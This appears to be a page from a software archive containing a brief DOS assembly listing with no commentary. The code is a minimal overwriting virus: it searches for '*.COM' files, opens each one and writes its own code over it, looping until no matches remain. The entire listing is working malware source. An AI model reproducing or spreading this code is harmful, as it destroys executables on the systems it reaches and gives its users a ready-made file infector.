home *** CD-ROM | disk | FTP | other *** search
- Main: Mov Ah,4eh
- On2: Lea Dx,FileSpec
- Int 21h
- jc on1
- Mov Ax,3d02h
- Mov Dx,9eh
- Int 21h
- Mov bh,40h
- Mov Cl,Length
- Lea Dx,Main
- Xchg Ax,Bx
- Int 21h
- Mov Ah,3eh
- Int 21h
- Mov Ah,4fh
- Jmp On2
- On1: Ret
- FileSpec Db '*.COM',0
- Length Equ $-Main
-